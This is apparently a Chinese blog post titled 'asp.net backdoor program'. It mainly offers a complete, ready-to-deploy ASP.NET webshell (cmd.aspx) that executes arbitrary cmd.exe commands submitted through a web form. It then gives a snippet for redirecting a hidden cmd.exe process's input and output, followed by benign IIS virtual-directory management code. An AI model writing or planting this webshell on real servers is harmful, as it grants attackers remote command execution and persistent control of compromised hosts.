asp.net后门程序

把下面的代码存为cmd.aspx也是一样的。
前提当然是服务器上已经装了.net framework了。
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="执行" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">输入命令:</asp:Label>
</form>
</body>
</HTML>

下面这段代码可以用于重定向输入输出
ProcessStartInfo si = new ProcessStartInfo();
si.RedirectStandardError = true;
si.RedirectStandardInput = true;
si.RedirectStandardOutput = true;
si.UseShellExecute = false;
si.FileName = @"c:/windows/system32/cmd.exe";
si.CreateNoWindow = true;
Process p = new Process();
p.StartInfo = si;
p.Start();

StreamWriter sw = p.StandardInput;
sw.WriteLine("dir");
sw.WriteLine("exit");
StreamReader sr = p.StandardOutput;
string str = sr.ReadToEnd();
Console.Write(str);
p.WaitForExit();

如何操作虚拟目录
//假如虚拟目录名为"Webtest",先在项目中引用
//System.DirectoryServices.dll,再

using System.DirectoryServices;
protected System.DirectoryServices.DirectoryEntry dirroot;
1、添加新的虚拟目录
DirectoryEntry newVirDir = dirroot.Children.Add("Webtest","IIsWebVirtualDir");
newVirDir.Invoke("AppCreate",true);
newVirDir.CommitChanges();
dirroot.CommitChanges();


2、更改虚拟目录属性
//虚拟目录的属性较常用的有:AccessRead,AccessWrite,AccessExecute,AccessScript,DefaultDoc,EnableDefaultDoc,Path等

DirectoryEntry Dirport = dirroot.Children.Find("Webtest","IIsVirtualDir");
Dirport .Properties["AccessRead"][0] = true;


3、删除虚拟目录
DirectoryEntry Dirport = dirroot.Children.Find("Webtest","IIsVirtualDir");
Dirport.Invoke("AppDelete",true);
dirroot.CommitChanges();
或者:
object[] part = new object[2];
part[0] = "IIsWebVirtualDir";
part[1] = "Webtest";
dirroot.Invoke("Delete",part);
dirroot.CommitChanges(); 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值